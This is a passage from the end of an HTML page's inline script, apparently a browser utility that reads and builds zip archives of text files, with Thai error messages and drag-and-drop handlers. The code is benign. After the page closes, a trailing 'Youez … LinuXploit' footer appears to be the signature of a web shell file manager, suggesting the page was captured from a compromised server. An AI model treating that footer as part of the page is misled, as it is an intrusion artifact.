        if (readU32(bytes, i) === 0x06054b50) return i;
      }
      return -1;
    }

    async function inflateRaw(bytes) {
      if (typeof DecompressionStream === "undefined") {
        throw new Error("browser นี้ยังไม่รองรับการแตก zip แบบ deflate กรุณาเปิดด้วย Chrome หรือ Edge รุ่นใหม่");
      }
      try {
        const rawStream = new Blob([bytes]).stream().pipeThrough(new DecompressionStream("deflate-raw"));
        return new Uint8Array(await new Response(rawStream).arrayBuffer());
      } catch (rawError) {
        const stream = new Blob([bytes]).stream().pipeThrough(new DecompressionStream("deflate"));
        return new Uint8Array(await new Response(stream).arrayBuffer());
      }
    }

    async function readZipTextEntries(file) {
      const bytes = new Uint8Array(await file.arrayBuffer());
      const eocd = findEndOfCentralDirectory(bytes);
      if (eocd < 0) throw new Error("ไม่พบโครงสร้าง zip ที่ถูกต้อง");

      const entryCount = readU16(bytes, eocd + 10);
      const centralOffset = readU32(bytes, eocd + 16);
      const decoder = new TextDecoder("utf-8");
      const entries = [];
      let offset = centralOffset;

      for (let i = 0; i < entryCount; i += 1) {
        if (readU32(bytes, offset) !== 0x02014b50) throw new Error("central directory เสียหาย");
        const method = readU16(bytes, offset + 10);
        const compressedSize = readU32(bytes, offset + 20);
        const fileNameLength = readU16(bytes, offset + 28);
        const extraLength = readU16(bytes, offset + 30);
        const commentLength = readU16(bytes, offset + 32);
        const localOffset = readU32(bytes, offset + 42);
        const nameBytes = bytes.slice(offset + 46, offset + 46 + fileNameLength);
        const entryName = decoder.decode(nameBytes).replace(/\\/g, "/");
        offset += 46 + fileNameLength + extraLength + commentLength;

        if (entryName.endsWith("/") || !/\.txt$/i.test(entryName)) continue;
        if (readU32(bytes, localOffset) !== 0x04034b50) throw new Error(`${entryName}: local header เสียหาย`);

        const localNameLength = readU16(bytes, localOffset + 26);
        const localExtraLength = readU16(bytes, localOffset + 28);
        const dataStart = localOffset + 30 + localNameLength + localExtraLength;
        const compressed = bytes.slice(dataStart, dataStart + compressedSize);
        let data;
        if (method === 0) {
          data = compressed;
        } else if (method === 8) {
          data = await inflateRaw(compressed);
        } else {
          throw new Error(`${entryName}: ยังไม่รองรับ compression method ${method}`);
        }

        entries.push({
          name: entryName.split("/").pop(),
          entryName,
          baseName: entryName.split("/").pop().replace(/\.[^.]+$/, "").toUpperCase(),
          bytes: data,
          async arrayBuffer() {
            return data.buffer.slice(data.byteOffset, data.byteOffset + data.byteLength);
          }
        });
      }

      return entries;
    }

    const crcTable = (() => {
      const table = new Uint32Array(256);
      for (let i = 0; i < 256; i += 1) {
        let c = i;
        for (let k = 0; k < 8; k += 1) c = (c & 1) ? (0xedb88320 ^ (c >>> 1)) : (c >>> 1);
        table[i] = c >>> 0;
      }
      return table;
    })();

    function crc32(bytes) {
      let crc = 0xffffffff;
      for (const byte of bytes) crc = crcTable[(crc ^ byte) & 0xff] ^ (crc >>> 8);
      return (crc ^ 0xffffffff) >>> 0;
    }

    function dosDateTime(date) {
      const year = Math.max(1980, date.getFullYear());
      const time = (date.getHours() << 11) | (date.getMinutes() << 5) | Math.floor(date.getSeconds() / 2);
      const day = ((year - 1980) << 9) | ((date.getMonth() + 1) << 5) | date.getDate();
      return { time, day };
    }

    function writeU16(view, offset, value) {
      view.setUint16(offset, value, true);
    }

    function writeU32(view, offset, value) {
      view.setUint32(offset, value >>> 0, true);
    }

    function makeZip(files) {
      const encoder = new TextEncoder();
      const now = dosDateTime(new Date());
      const locals = [];
      const centrals = [];
      let offset = 0;

      for (const file of files) {
        const nameBytes = encoder.encode(file.name);
        const data = file.data;
        const crc = crc32(data);
        const local = new Uint8Array(30 + nameBytes.length + data.length);
        const localView = new DataView(local.buffer);
        writeU32(localView, 0, 0x04034b50);
        writeU16(localView, 4, 20);
        writeU16(localView, 6, 0);
        writeU16(localView, 8, 0);
        writeU16(localView, 10, now.time);
        writeU16(localView, 12, now.day);
        writeU32(localView, 14, crc);
        writeU32(localView, 18, data.length);
        writeU32(localView, 22, data.length);
        writeU16(localView, 26, nameBytes.length);
        writeU16(localView, 28, 0);
        local.set(nameBytes, 30);
        local.set(data, 30 + nameBytes.length);
        locals.push(local);

        const central = new Uint8Array(46 + nameBytes.length);
        const centralView = new DataView(central.buffer);
        writeU32(centralView, 0, 0x02014b50);
        writeU16(centralView, 4, 20);
        writeU16(centralView, 6, 20);
        writeU16(centralView, 8, 0);
        writeU16(centralView, 10, 0);
        writeU16(centralView, 12, now.time);
        writeU16(centralView, 14, now.day);
        writeU32(centralView, 16, crc);
        writeU32(centralView, 20, data.length);
        writeU32(centralView, 24, data.length);
        writeU16(centralView, 28, nameBytes.length);
        writeU16(centralView, 30, 0);
        writeU16(centralView, 32, 0);
        writeU16(centralView, 34, 0);
        writeU16(centralView, 36, 0);
        writeU32(centralView, 38, 0);
        writeU32(centralView, 42, offset);
        central.set(nameBytes, 46);
        centrals.push(central);

        offset += local.length;
      }

      const centralOffset = offset;
      const centralSize = centrals.reduce((sum, item) => sum + item.length, 0);
      const end = new Uint8Array(22);
      const endView = new DataView(end.buffer);
      writeU32(endView, 0, 0x06054b50);
      writeU16(endView, 4, 0);
      writeU16(endView, 6, 0);
      writeU16(endView, 8, files.length);
      writeU16(endView, 10, files.length);
      writeU32(endView, 12, centralSize);
      writeU32(endView, 16, centralOffset);
      writeU16(endView, 20, 0);

      return concatBytes([...locals, ...centrals, end]);
    }

    function concatBytes(parts) {
      const total = parts.reduce((sum, part) => sum + part.length, 0);
      const out = new Uint8Array(total);
      let offset = 0;
      for (const part of parts) {
        out.set(part, offset);
        offset += part.length;
      }
      return out;
    }

    el.fileInput.addEventListener("change", event => loadFiles(event.target.files));
    el.folderInput.addEventListener("change", event => loadFiles(event.target.files));
    el.clearButton.addEventListener("click", clearAll);
    el.autofillButton.addEventListener("click", applyAutofill);
    el.exportButton.addEventListener("click", exportZip);

    for (const name of ["dragenter", "dragover"]) {
      el.dropzone.addEventListener(name, event => {
        event.preventDefault();
        el.dropzone.classList.add("drag");
      });
    }
    for (const name of ["dragleave", "drop"]) {
      el.dropzone.addEventListener(name, event => {
        event.preventDefault();
        el.dropzone.classList.remove("drag");
      });
    }
    el.dropzone.addEventListener("drop", event => loadFiles(event.dataTransfer.files));

    render();
  </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit